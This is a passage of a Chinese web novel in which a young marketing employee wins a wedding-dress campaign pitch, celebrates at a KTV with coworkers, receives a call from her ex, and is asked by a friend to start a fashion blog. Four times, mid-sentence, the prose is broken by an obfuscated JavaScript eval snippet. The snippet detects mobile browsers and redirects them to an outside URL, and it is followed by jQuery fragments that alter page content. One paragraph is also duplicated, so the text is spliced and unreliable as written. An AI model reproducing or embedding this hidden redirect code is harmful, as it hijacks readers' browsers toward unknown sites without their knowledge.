“那怎么办?过会儿就轮到你上台了。”孟猛急得像热锅上的蚂蚁,“不然我上吧……早知道排演时我就不当评委了……”
“数据是你整理的,创意你也都知道,我觉得行……”
我刚觉得卸下重任,孟猛头摇得跟拨浪鼓一样,“不行不行,我都没顺过稿,肯定会讲砸。”
没时间了,我只能硬着头皮走到最前面。脑子里有一瞬间的空白,原本很熟悉的内容像海滩上的海浪涌上来接着退了回去,徒留下曾经来过的印象。我的手心冒汗,额头上也冒汗。
深呼吸了几下,转过去看屏幕,幸好是投影,最上面的大标题我能看得清。努力让自己镇静,弄完设备后我还拉着孟猛快速排演过一遍,虽然不能完全看清PPT上的内容,但脑子里有大概的框架,就算不如排练时说得好,也不会差得太离谱。
至于下面坐着的那些人,我看不清他们的表情,也不知道究竟谁是谁,反而不紧张了。
小学时候排演节目,由于舞台离得远,看不清老师家长同学,心里默默把他们都当成大白菜,心无旁骛,专心听音乐找节奏,我们那一个六人舞竟然还得了一等奖。
孟猛在下面拼命使眼色,可惜我完全看不见他的明示暗示,理所当然把“感谢WH集团给予我们这次机会”那一套场面话忘了一干二净,跳过开场的那一系列寒暄,我直奔主题。
“怀旧经典,你的幸福值得用一生去回忆。”
我清了清嗓子,把我们排练过十几次的创意在与会者面前铺陈开来。顺利开了头之后,内容像是泉水一样源源不断流淌出来,直至结束仍感觉意犹未尽,我从来没试过在一堆人面前酣畅淋漓地表达自己。
现场安静地仿佛没有人,我一下紧张了起来,是离题了吗,还是中间说错了什么。望向孟猛的方向,可我也看不清他的表情。
就在我惶恐不安绞手指的时候,一个低沉像大提琴的男声解了围,“我有一个问题,想要……”他顿了一下,然后旁边有人给了他提示,他继续说“安小姐帮忙回答一下”—— 我才恍然大悟,忘了介绍自己。
他问的问题大体在我们的Q&A清单上,大多数我驾轻就熟,我卡壳的时候孟猛补充,两个人配合得严丝合缝。这个人又陆陆续续问了两个问题,已经到相对细致的执行部分了……奇怪的是,这人的口音有点别扭,像是外国人说中国话。
Vivian似乎不想让我们轻松过关,一连提了两个刁钻问题。幸亏这些问题周明凯都考虑过了,给出了答题重点。我们就像既复习了考试重点又押中了考题的幸运儿,就算不能拿满分,混个及格肯定没问题。
自她之后,就没人再提问了。
从台上往下走的时候,我感觉自己被掏空了,差点一脚踏空,还好孟猛扶住了我。
现场,我们没有得到确切的答复,Jessie马不停蹄地跟着她老板出去了,倒是Vivian走到我们面前,刻意寒暄了两句。
从台上往下走,我感觉自己被掏空了,差点一脚踏空,还好孟猛扶住了我。
现场,我们没有得到确切的答复,Jessie马不停蹄地跟着她老板出去了,倒是Vivian走到我们面前,特意寒暄了两句。
孟猛在回公司路上跟我吐槽,“你是没看见Vivian的脸色,一脸耀武扬威的样子……真恨不得给她一棒槌。”
我已经瘫在车后座,一句话都不想说。
途径眼镜店,孟猛冲下去帮我买了一副隐形眼镜,当他知道我是八百度的高度近视时,嘟囔了一句:“难怪什么都看不见。”
像是经过一场鏖战,我的胃里痉挛收缩,连晚饭都没吃就直接瘫在沙发上,也不知道是什么时候睡了过去。第二天早上我的脖子跟要断了一样,完全不能摆正,也没办法向后转,极限角度只能到30度的位置。只能歪着脖子去了公司。
一连几天WH集团都没任何消息传出来,后知后觉的恐慌随着日子一天天流逝越来越剧烈。还是搞砸了吗?天天如坐针毡,这种钝刀子割肉的痛苦实在难受,还不如直接给我一刀。
公司邮箱提示有新邮件的那一瞬间,我总是深吸一口气,然后屏住呼吸,直到打开看到发件人,才重重地吐出一口气。
萌萌笑话我像极了一只濒死的河豚。
No news is good news,孟猛总是这么安慰我,但我仍然惶惶不可终日——万一他们只是想挑个良辰吉日呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672135|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
WH集团是我唯一的客户,现在我成了整个小组,不,是整个公司最闲的人。之前是看到微信工作群弹出的消息心里发慌,现在却成天没有一点儿动静,更让我发慌。
周一下午提的案,现在已经周四下午了。原先周五是我最期盼的,现在却害怕周五到来。孟猛前两天提了一嘴:一般隔一周都不给结果,基本没希望了。眼下已经四点一刻了,WH仍然没有任何消息。
我对着Jane的微信犹豫了半天,“还没有结果吗?”然后又删掉。如此来回往复了几次,还是没有勇气发出去,也许Jane就等着我问她,然后迅速告诉我“你们被pass了。”
这可能是一场博弈。
懊恼地把手机往桌子上一扣,沮丧失望排着队涌上来,我把头埋在臂弯里,整个人趴在桌子上,耳边仿佛响起了巴黎圣母院的丧钟——丧钟为谁而鸣?
斯巴达克的战斗号角曾经嘹亮响起,如今已经丧失了用武之地。
已经可以预见,这个周末我将坐立难安,一寸寸的光阴以最残酷的方式将我凌迟,每一刻的等待都是煎熬。想到即将到来的周末,愈发觉得难熬。要不然周五就回S市吧,还有很多东西没有带过来,顺便发个帖,约人看看房。
子公司的办事效率很高,原先我以为至少要一个月才能下来的报销款这周一已经打到我工资卡了。我在收到钱的时候还懵了一下,反应过来之后差点感动哭了。
虽然才一千多块,但对现在的我来说,不啻一笔巨款。
我开始在电脑上查机票,贵得离谱!
不然改乘高铁吧,能省一点是一点。单程四个多小时,来回一天就没了,尽管最晚一趟回S市的高铁是晚上七点,可到S市就十一点多了。地铁也停了,还得打车回去,又是一笔不小的开支。更早的那班肯定赶不上,除非早退。
我的脑子里乱哄哄的,拿不准主意到底是拿金钱换时间,还是用时间省金钱,这两者对现阶段的我来说,显然是后者更实际,但现在是两个方案,都很伤钱。
又回去刷机票,后一个周五的票价便宜了三分之二!!!果然买临期机票的,要么是不差钱,要么是不用自己花钱,要么就是实打实的大冤种。
我又前前后后翻了几个日期的机票价格,下周五的票价只比平时工作日贵一百多块,太良心了。
就在我准备下单的时候,WH集团工作群弹出了一条消息,我几乎同时从椅子上弹了起来——是Jane!约我明天下午两点去他们公司。
我迫不及待地打了个语音给她,但她语焉不详,只是说Jessie想跟我当面聊。聊什么呢?提案是过了还是需要修改,又或者被毙掉了,不都是一句话的事情吗?我更加惶恐,难道还有什么不为人知的隐秘事件,需要我们面对面接头对暗号?
焦虑,就像红砖老建筑墙壁上的爬山虎一样,占满了整个心房。盯着屏幕右下角的时间,一分钟缓慢的如同一个世纪。真恨不得有个时间加速器,只要按下去就能一键快进到周五下午。
我心不在焉地喝水,看文件,跟同事们搭腔……脑子里明明让自己不要想这件事,但鬼使神差得总是想到各种场景。我也不知道自己是怎么下的班,也不知道自己是怎么到的家。
时间从未如此像蜗牛,扛着沉沉的壳一点点向前挪动。
32. 第 32 章
从周五的上午到下午两点,中间隔着一整个光年。
照旧是在WH那间大到令人有压力的会议室。
Jessie先是絮絮叨叨说了一堆,说没有想到我们能在这么短的时间里拿出提案,又说GT作为行业内的知名公司还是跟WH集团在调性上很契合的,接着又谈到未来双方还有很多合作机会。
我的心里咯噔一下,说了这么一堆场面话,难道是在铺垫不合作了?
Jane站在她身后,面无表情,一言不发。我的心脏跟擂鼓一样,嘴巴发干,舌头发紧,不知道该作何反应才好。
她见我没往下接,兴致也没原先那么高涨了,低头盯着自己新做的法式甲,“我们内部已经在走预算流程了,没什么问题的话合同走完预付款也差不多能付了。”
我还在消化她那句话的意思,她头也没抬,“那个创意,我老板挺喜欢的。”
“啊?”我后知后觉反应过来,提案看来顺利通过了,“哦,谢谢。”
Jessie终于抬起头看了我一眼,眼神里透着古怪,“回去准备合同吧,还愣着干什么?”,一副“今天就到这里,老娘已经不想伺候”的样子,她回头跟Jane说,“你送安小姐出去吧。”
果然,讨厌的人无论横看竖看,都还是那么讨厌。
Jane这才走上前来跟我握手,“恭喜,后续执行由我对接,Jessie把控大方向。”
我重重地回握,有一种心照不宣的默契:Jessie退居二线了,执行阶段应该会顺利很多。
Jessie已经走出去很远了,突然回过头跟我说:“安小姐,干得不错。”
在这一刻,我与她达成了和解。或者,从更深层次上来说,我与那个觉得干什么都不行的自己达成了和解。
我并不像台湾老板和露西说得那么差劲,如果我愿意拼尽全力,我可以做得不比别人差……不不不,不仅仅是这样,而是做得还不错。直到这一刻,我才看见了自己的怯懦和自卑,我把它们压在心底,用不在乎和莫须有的骄傲来掩饰。
当我从WH集团大楼出来的时候,还是恍惚的,脑子里涌现的是一片空白,甚至有一种不真实的虚无感:当一个巨大的惊喜砸到头上的时候,我的内心最先涌起的反而是拒绝和怀疑。
还有就是Jessie的态度,怎么说呢,她今天的态度暧昧不明,前后转变很大。我不知道她的意图,也不知道今天是不是又干了什么蠢事。百思不得其解。要是孟猛今天一起来就好了,他肯定能给我解惑。
今天的云层很厚,像一大堆棉絮叠在一起。我像踩在云朵上一样,脚下虚浮。
我想找个人聊一聊。
掏出电话。我能打给谁呢?肖平吗?跟他说什么呢?
——你看错了,我也可以赢得很漂亮。
可是,那又有什么意义?
我不知道自己怎么回的公司,当腿迈进公司大门的那一瞬间,我才有了些许的真实感,从云端降落到人间,脚踩在坚实的地面上。
觅觅最先看到我,她盯着我看,“不顺利?”
接着孟猛、萌萌和小妍就围了上来,一脸关切地望着我。
“他们让准备合同。”
“还准备个毛线!”孟猛义愤填膺地把手里的本子一扔,“这帮资本家,剥削阶级,无良雇主!”
萌萌一把拽住他,“我没听错吧?冉冉刚刚说的是要签合同?”
孟猛后知后觉“啊”了一声,弯腰捡起刚刚扔掉的本子,拍了两下灰,“刚刚都没听见吧……”
一组人都在七嘴八舌地讨论,我走到工位前坐下,杯子里还剩下半杯水,一气灌了下去。
“我们晚上出去好好庆祝下吧!”萌萌提议。
“那必须的。老大咋怎么没回来?”
孟猛正探头探脑,周明凯进了公司。他嘴角噙着笑,春风满面。
“我打赌,老大肯定已经知道了。”
果不其然,周明凯径直走到了我们办公区域,“安冉然,干得不错。”
我轻轻地呢喃,“我知道。”
声音很轻很轻,就在唇边打了个转,又回到舌头,再咽回咽喉里。不是说给任何人,只是要告诉自己,安冉然,我知道你很棒。
我的鼻尖发酸,拼命克制,才把眼泪憋回去。
孟猛在旁边起哄:“老大,我们拿下了这么大一单子,是不是得好好犒劳一下?”
周明凯睨了他一眼,“晚上去吃顿好的,拿票报销。”
“老大,你不去啊?”
“我晚上约了Mark。”他转向我,“好好庆祝第一次成功,以后就会习惯了。”
我怔怔地望着他,他是第一个对我如此有信心的老板。
二组三组的同事也纷纷过来表示了祝贺,只是有多少是真心,多少是敷衍,不得而知。
周明凯走了之后,薛旻轻轻哼了一声,“还不是运气好。”
觅觅翻了个白眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672136|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
萌萌故意从她旁边绕过去,“有些人就是嫉妒,可嫉妒也没用啊,谁让心眼不好,幸运之神都不眷顾呢。”
小妍跟我说:“别理她。”
我点点头,“我请大家喝奶茶,提前庆祝。”
……
电梯里,孟猛嬉皮笑料地凑到周明凯身边,“老大,WH婚纱的案子稳了,就只吃顿饭啊?”
周明凯睨了他一眼,“就你个皮猴子事儿最多。”
孟猛嘿嘿了两声,“那不是要等老大你一起庆祝。”
“我要去了,你们还能疯得起来?”他没好气地给了孟猛头顶一记,“你们自己玩儿吧,我那边也不知道几点结束。”
孟猛哎呦哎呦喊了两声,边喊边往我们这边躲:“老大,我可是团队里唯一的劳动力,打坏了就没人干粗活了。”
“要不是看你是劳动力的份上……”周明凯撸了撸袖子。
萌萌在旁边拱火,“老大,别惯着他,大不了我们自己换水。”
“萌姐,太不地道了。我可是在为咱们组争取福利。”孟猛贱兮兮地又凑了上去,“那预算多少啊?”
“花多少报多少,留好凭证,明天给我。”
“老大万岁!”
在大家一阵欢呼声中,他背对着我们摆摆手,然后一头扎进了像是黑洞一样的车库。
我悄悄问萌萌:“你们一直都这么跟老板相处?”
萌萌把胳膊搭在我肩上,“对啊,你慢慢就习惯了……老大虽然平时看着冷冰冰的,工作上一丝不苟,私下特别上道。”
吃了一顿大餐,孟猛跟不要钱似的点了一大桌子菜。
吃完之后,孟猛问是去唱歌还是喝酒。
看他们全都兴致盎然,我把想要回家休息的念头压了下去,太扫兴了。我应该和所有人一样感觉兴奋,毕竟这个提案历时不短且来回修改,跟打了一场攻坚仗一样。
我们一群人簇拥着向前走,那种不真实的虚幻感又冒了出来。
在总部待了三年多,同事们之间保持着非常礼貌的疏远,大家的交集仅限于工作上的必要接触。就算是一年一度的团建,也就是换个地方刷手机。大家伪装出来的亲密感,无聊且虚伪。在我眼里,他们要么趋炎附势,要么眼高过顶;当然,我想,在他们眼里,我一定也是个怪咖,假装清高,是个没什么内容却还要把自己端着的花瓶。
但在这里,我如此自然、没有任何障碍地融入了这个集体。不可思议。
33. 第 33 章
我的脑子还没跟上身体时,我们已经到了钱柜KTV。
我约莫已经有十年没来过KTV了,这里的空气散发出一种既暧昧又迷离的味道。
孟猛兴高采烈地招呼大家点歌,然后他开始点各种零食、水果盘和啤酒。
几杯啤酒下肚之后,大家话多了起来。就连平时惜字如金的觅觅,都坐在角落里勾着萌萌的肩膀碎碎念。
我像是一个猎奇的故事贩卖者一样,听他们絮絮叨叨眉飞色舞地说各种八卦,包括前公司和现公司的。
虽然知道很多人在工作中和生活中展示不同的样子,就像磁带的A面和B面。平时这两面待在各自限定的区域,并不会来回游走;可我没想到这批人全都是双面怪杰,挟着一身的智趣在这个无趣的世界里玩角色扮演。
孟猛看上去那么大个子,酒量却是最差的。两瓶啤酒下肚,平时算不上多靠谱但至少像个正经人,现在上演了“我的梦想是个魔术师”,就很迷幻。他从衬衫口袋里摸出一张扑克牌,非要让我们猜它最后会变成什么。
萌萌非常不耐烦地打断他:“还能不能有点新花样了,就你那破魔术都表演八百回了。”
他丝毫不为所动,举着扑克牌从萌萌面前滑过,停在我面前——那是一张如假包换的红桃K,等他在手里翻了个边,我看到的就是黑桃2。接着,他把扑克牌向空中扔,落下来的时候一整个捏进拳头里,打开拳头的时候,手掌里是一把彩色碎纸。
我本来以为他是个半吊子,没想到看得我眼花缭乱。
这在外面可是要花钱买票的水准!萌萌居然管这叫“破魔术”,要知道会这一手能骗到多少姑娘们的尖叫声。在我们这个场子里,姑娘们都免疫了,除了我一脸崇拜地看着他,其他人都云淡风轻。
孟猛显然很满意我的捧场,他得意地摇头晃脑,“大师我再给你表演个更精彩的。”
他从裤子口袋里扯出一条黄色的绸带,攒成小球塞进左手拳头里,举到我面前让我吹口气,打开的时候绸带不见了,滴溜溜一颗弹珠在他手心里滚着。
嘿!我一脸惊奇地问:“你把绸子藏哪儿了?”
这是我生平第一次这么近距离地看人变魔术,虽说魔术都是拼手速的障眼法,但真正在眼前表演还是很让人目眩神怡的。
萌萌轻蔑地蹦出四个字:“雕虫小技。”
她随手抄起了桌子上的骰盅,向右上方摇了三下,又朝着左下方摇了三下,冲着孟猛挑了下眉,“猜。”
“猜中有奖还是怎么的。”
“猜中有没有奖我不知道,但猜不中得干了这杯。”
“三个……三。”孟猛盯着那骰盅不错眼,像是怕骰子自己飞走了。犹豫了大概五秒钟后,还是喊了出来。
“喝吧。”萌萌还没揭开盅盖,就用眼神示意孟猛。
孟猛把酒瓶凑到嘴边喝了一口,突然意识到不对劲,“凭什么?你都还没开呢。”
“三个六,豹子。”萌萌邪魅一笑,大咧咧地敞开盖,“接着喝吧。”
万万没想到,萌萌居然把骰子玩得炉火纯青。这个世界太玄幻了,我似乎将自己置身于一个万花筒当中,眼花缭乱,思绪纷飞。
现在,我丝毫不怀疑这群人都是身怀绝技的江湖客,工作大概只是他们藏匿身份的工具。我甚至已经脑补了一场大戏:萌萌游走在各个赌场,大杀四方,赢得盆满钵满,然后隐姓埋名,到T市入职GT,用掷骰子的方式来确定和哪个网红达人合作;至于孟猛,大概是妙手空空的江洋大盗,每一次在别人的眼皮子底下偷天换日,家里藏在稀世珍宝,被调查时云淡风轻地说一句,“既然你们发现我了,那我也就没必要伪装了。”
萌萌在我们一声声“一二三”,“四五六”“三个五”的吆喝声中一次又一次摇出准确的点数,我们喝得天昏地暗。只有觅觅一个人叉着腿坐在高台的麦克风前唱歌,高低起伏,婉转悠扬,把一首《红豆》唱得悱恻缠绵,跌宕起伏。
浅吟低唱酷似背景音,一下就把我们三流赌场的档次拔高了。
觅觅平时冷酷得很,就算对着客户也是一副生人勿近的样子。但喝了酒之后,她一边唱歌一边冲着我和萌萌抛媚眼,笑得娇媚可爱,涤荡了她原本的酷劲,又在不经意间的一个凌厉眼神,把想入非非的那些小心思震得无影无踪——很难形容这种相互矛盾的特质,我忍不住战战兢兢地揣测,下一个是媚眼还是刀风。可不猜,心里又痒痒的,欲罢不能。大概就是现在很流行的纯欲风。
一曲唱完,她豪爽地把裙子撩到了大腿,一屁股坐在我和萌萌中间,左手搭在我肩膀上,右胳膊挂在萌萌肩膀上,媚眼如丝地要跟我们喝一个。
“乱花渐欲迷人眼,我就是根狗尾巴草。”孟猛坐在萌萌旁边,瘪着个嘴垮着个脸。我猜,他不是喜欢萌萌就是喜欢觅觅。奈何我没有证据。
小妍在外人眼里文静内敛,她坐在角落里,自斟自饮,不一会儿面前就摆了一排空瓶子。正担心她会不会喝多,犹豫要不要制止她继续喝,萌萌说她能喝两斤白酒,单枪匹马能喝倒我们一整个部门,我深感自己冒昧了。
看看这些优秀的同事,再看看我,乏味可陈,技能缺缺。
今天这酒很难说喝到了什么程度,我只知道自己现在看人都重影,可究竟是因为酒醉人还是人自醉,还真不好说。
“光喝酒没意思,不然我们玩真心话大冒险吧?”萌萌提议。
没人反对。
第一轮孟猛选了大冒险,觅觅让他去隔壁包房找个女生合唱一首情歌。他选择了喝酒。
第二轮萌萌也选了大冒险,轻而易举拿到了一个帅哥的微信。
第三轮萌萌转瓶子,转到了我。
我选了真心话。
“说一件你最丢脸的事儿。”
最丢脸?最近发生的一系列事,似乎没有不丢脸的。如果非要从中挑选出一件……
“我失恋了……他劈腿了。我还差点丢了工作……”
灌了一瓶啤酒下去,酒壮怂人胆,我突然不想藏着掖着,只想一吐为快。
“其实,我不是自愿来T市的……以前我在总部只是做行政,压根没有接触过市场营销。其实,我什么都不会。”
言语争相恐后的往外挤,没有组织语言,没有逻辑,没有顺序,只是不断地涌到嘴边。
“我也想过辞职,可我找不到合适的工作……我是个彻头彻尾的失败者。”
“我不知道哪件事最丢脸,每一件都很丢脸。”
喧嚣的背景里,只有我一个人的声音,他们都沉默了。不知不觉,我已经泪流满面。
“冉冉,你真勇敢!你是我的偶像。”小妍突然说,“这才多久,你就从什么都不会到拿出能征服甲方的完整方案。”
“咳,不就是失恋吗?千万别为了一棵歪脖子树放弃整片森林。”萌萌摸了摸我的头,“我可是有一大片森林的人,想谈恋爱随时找我。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672137|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
觅觅揽住我的肩膀,把我的头按在她肩膀上,“想哭就大声哭出来……以后,都只有笑的日子。”
我设想过无数种可能性,震惊质疑唾弃不屑……可唯独没想到,他们给予了我包容和温情。
孟猛搔搔头,“还是老大眼光毒辣,冉冉,你这么天才,显得我很菜啊。”
萌萌举起酒瓶,“今天不醉不归!我们一组果然都是天才!”
“不玩游戏了,喝酒,唱歌,不醉不归!”小妍也举起酒瓶。
“不醉不归!”我们都举起了酒瓶。
……
电话响起来的时候,我没有第一时间去接,因为分不清是谁的电话在响。我的耳廓里是一次又一次猜骰子大小的声音,是快乐的歌声,是吆喝着喝酒的声音。
“谁的电话一直在响?”孟猛举起自己的手机,放在耳边听了半晌,然后挨个把桌上的手机拿起来看。
“冉冉升起的小瓶子”,孟猛举着电话,上面挂着的吊坠不停地晃动,随着他说话的节奏一颤一颤的,“这名字真可爱,谁的电话?”
我愣了一下。好像已经有千百年没有听到过这个名字,我甚至觉得自己是幻听了。
“你是不是喝傻了?”萌萌从他手里夺过电话,一把塞给我。
我迟疑地看着电话,犹豫着不知道是该接还是不该接。要说什么呢?我大概是真的喝多了,脑子里像是一团团缠绕在一起的毛线,理不出头绪。
“不会是客户吧?”孟猛没心没肺地嚷着,“这都几点了,还打电话对需求呢?!我们又不是生产队里的驴!”
萌萌翻了个白眼,“不会说话别说,没人当你哑巴。”
我尽量装作若无其事的样子,“前男友,那个劈腿的渣男”,可是,我的声音出卖了我,它在颤抖。如果仔细听,还能听见细小的破碎声。
“开免提,我帮你骂他!”觅觅大概也喝了不少。
“接啊,怕他干什么?!就这种渣男,老娘我一个人能收拾一整个排。”萌萌义愤填膺地像是被劈腿的是她。
“这里太吵了……”我揣着电话,左摇右晃地往外走,“我去外面骂他,让他听清楚。”
怕什么呢?我自己也不知道,大概是怕自己一听到他的声音,就忍不住会想起那些曾经——我是个纸老虎,在他的光环里狐假虎威惯了,而一旦与他正面相对,我就想缩回壳子里。
震耳欲聋的声浪在身后消弭无音,他的声音甚至都能穿过山跨过海,清晰地在我的耳廓里响起,我甚至能想象出他喊我名字的语气和语调,“冉然,我们和好吧……”明明才过去三周,可我已经像经历了千万世。
我盯着那个不断震动的电话,一咬牙心一横,“喂……”
刚接起来,突然电话一黑——电话在这一刻没电了。
我冲进KTV包间,“谁……谁带了充电宝?”慌张排山倒海一样把我淹没,我还不知道他想跟我说什么。
孟猛神色复杂地看了我一眼,闷不吭声,从包里掏出一个恐龙充电宝递给我。
我着急忙慌充上电,焦急地等待手机屏幕从一片漆黑中缓过来。当那个被咬了一口的苹果标志终于亮起来的时候,我的心情就像是看见奥运会火炬点燃。可是,这两者是截然不同的——火炬点燃迎来的是开始,而手机点亮了之后会是正式的结束还是重新开始,我没有答案。
不会有答案。
我盯着电话,可它再也没响起过。
34. 第 34 章
发了条朋友圈作为纪念,下面一堆点赞,只有许逸晨直接发了消息:“周末有空吗?给你庆祝一下。”
瞬间,所有的不真实感都找到了宣泄的源头:没有人分享的快乐会打折,我希望有人能为我喝彩,不是同事,是曾经在我的生活中驻足过的人。
我迫不及待回了她。许逸晨打电话来说不要去外面吃了,她让她妈帮忙带涵涵。
我们在卖菜平台上买了一堆食材,两个人挤在厨房里,我负责洗菜切菜,她负责做菜。
没想到,全能选手许逸晨连做饭都不在话下,酸汤肥牛,蒜蓉粉丝开背虾,香煎小蘑菇,外加清炒油麦菜,有荤有素,闻着味儿我的口水都快流下来了。
我埋头吃得欢乐,她却吃两口停一停,朝我望了又望。
“然,你要不要跟我一起……”
我嘴里含着肥牛,抬眼望向她,心里却在想,许逸晨会不会是想邀请我跟她一起住呢?
在刚刚工作的时候,我跟许逸晨曾经畅想过,毕业后一起租房子继续做室友。但后来经不住肖平软磨硬泡,我搬去跟他住,许逸晨就去住了公司宿舍。
原先我总抱怨钱不够花,她就不一样了,在外企工作的那几年就已经攒了不少钱,不过在S市照旧还是买不起房的。工作到第四年,也就是到T市的第一年,她买了房,全靠自己付的首付,所以是她的婚前财产。我除了艳羡之外望尘莫及。
我正准备说,这房子是公司租的,不花钱。她开口打破了我的胡思乱想,“你不是一直都对时尚穿搭和美妆感兴趣吗,以前我记得你还会写一些穿搭心得”,她的眼睛亮得像是北斗星,“要不要试试跟我一起做时尚自媒体?”
“哈?”我一口饭噎在嗓子口,上也上不去,下也下不去,慌乱喝了两口水,“我已经很久没写过了……况且现在,你看看我……”
最近疏于打扮,来来回回就那么几件衬衫裙子西装裤轮流搭配。一是没心情,二是大部分的衣服都还在S市的那个出租房里。
我是真的没想过做博主和网红。以前分享自己的穿搭完全是爱好,有人喜欢我的穿搭,我就很开心。我对运作自媒体账号完全陌生,而且我既不擅长剪视频也不擅长写文案,压根没有做KOL/KOC的潜质。
许逸晨告诉我,她想从现在公司辞职,这个念头已经有一段时间了。目前看起来,她作为一个单亲妈妈,在职场上想晋升的话难度很大。同时,她也希望有更多的时间陪伴女儿,她说,明明孩子就在眼前,可仿佛一个错眼,她就长大了很多,她不希望错过涵涵的成长。
她给我看了她的账号,注册了一年多。更新的频率不高,也就六十几条。算下来,一周一更,业余稍微时间充裕一点,就一周两更。即使是这样,也有两万多粉丝了。甚至已经有品牌开始在后台联系她接广,只不过碍于现在的身份,她回绝了。
“然,我这些年在零售业市场部工作,你在4A营销公司工作,我们既了解消费者,又知道品牌要什么。我真的觉得我俩应该一起干。”她的兴致很高,眼睛里全是光,就像我大学刚认识她那会儿的样子。
看着她熠熠生辉充满期待的模样,我不想直接拒绝扫她的兴,可是我现在主业才刚刚上手熟悉起来。
“我才刚到T市,新的工作职能我才刚刚有点头绪……”
我没告诉她,其实经济情况也不允许我放弃现在的工作。
幸好,她只是让我考虑考虑,没逼着我要答案。
许逸晨终于问了我来T市工作的原因,我向她抱怨了露西假公济私的行径,她咬了咬牙齿,先是咒骂了一顿露西,停顿了片刻之后说,“其实,光发了邮件或微信是不够的,你需要跟进她的反馈,直到这项任务结束。”
我愣住了,咬着筷子陷入了思考。
确实,在这件事上,我就一点问题没有吗?至少,是我的不严谨给了露西钻空子的机会。
再聊到Jessie前后不一致的表现,许逸晨思考了片刻,给出了我一个新的思路——Jessie既想要保持甲方的高姿态,又想拉拢我;既不愿意承认我的能力,又不得不承认我在项目里的作用。加上我的反应迟钝,情商不够,没有在她低姿态的时候进行商业胡吹,导致她认为我不识时务。
品牌市场部的那些门道,我还真是一无所知;品牌市场人,还真是矛盾体。他们这样,难道不会精神分裂吗?
我忍不住问许逸晨,“你们公司也这样?”
“我才没时间那么矫情,好供应商难找……但业内总有人要在乙方面前摆架子,这也是没办法的事情。”
确实,我也听同事们说过,拿腔拿调的甲方不在少数。
对我来说,仍然维持现在的工作节奏,当作什么都不知道最稳妥。
最后,许逸晨给我一个忠告,记住我服务的是WH集团,她预判Vivian和Jessie之间或许还会有明争暗斗,一旦被卷进她们的斗争,大概率没好果子吃。我默默地记了笔记,同时感慨原来职场如此复杂。
“所以你打算在T市定居了?”
“算是吧。我算了算,T市的房价和消费都不高,在T市也能攒下来钱,过两三年应该就能买得起房子了。”
我把买房子的打算跟她说了,她很高兴,“你早就该这么想了……S市房价太高了,买一套房子穷尽一生都在为房子打工,想要摆脱一辈子房奴的命运,要么中彩票要么天上掉馅饼。”
许逸晨赞同我的想法,一万出头的小区选择余地大,首付压力小。
“你要是钱不够,我可以借你一些。”
“别了,你还养着一只吞金兽呢。”我其实没好意思跟她说,现在我的存款只够个零头。
“别不好意思,买房子哪有不借钱的。有需要跟我说。”
原本这应该是个美好的周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672138|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
六,可最后我俩不欢而散。原因是:两个人谁都不肯去洗碗。虽然吃得很满足,可连盘子带碗还有锅,要洗一堆。我的拖延症犯了,许逸晨有洁癖,催着我去洗。我提议用猜拳定谁洗碗,她输了,可她耍赖不肯去。
本来说好的今晚住我这儿,她一生气就回家了。我看着一池子的碗和碟,叹了口气,早知道都是我洗,还不如早点洗了呢。
我拍了张一叠干净碗碟的照片,微信发给她,“现在这样,可真好。”
她回了个白眼。
我们真的回到了以前的状态,为了一点小事拌嘴,互相不理睬对方,再和好。
……
我依靠彼此的回忆找回了友谊,而WH凭借回忆杀赚的是真金白银。
根据我们的提案,WH发起了“The one——经典一生”有奖征集活动,征集新娘们心目中的WH经典婚纱。
随后再根据用户投票进行排名,投票给排名第一那款婚纱的用户获得抽奖机会,中奖的一位幸运儿获赠该款婚纱,同时还能由专业摄影师拍摄一组婚纱照,并在新人同意的情况下登在杂志上;排名前十的经典婚纱将限时返场,供准新娘选购;在限定时间内购买的新娘也将有机会获赠一组婚纱照并登上杂志。参与投票的用户都将获得婚纱周的礼品券,可以在现场领取小礼品。
其实,我们这一次的理念非常简单——推陈出新固然重要,但向经典致敬,对过去的缅怀,也同样重要。
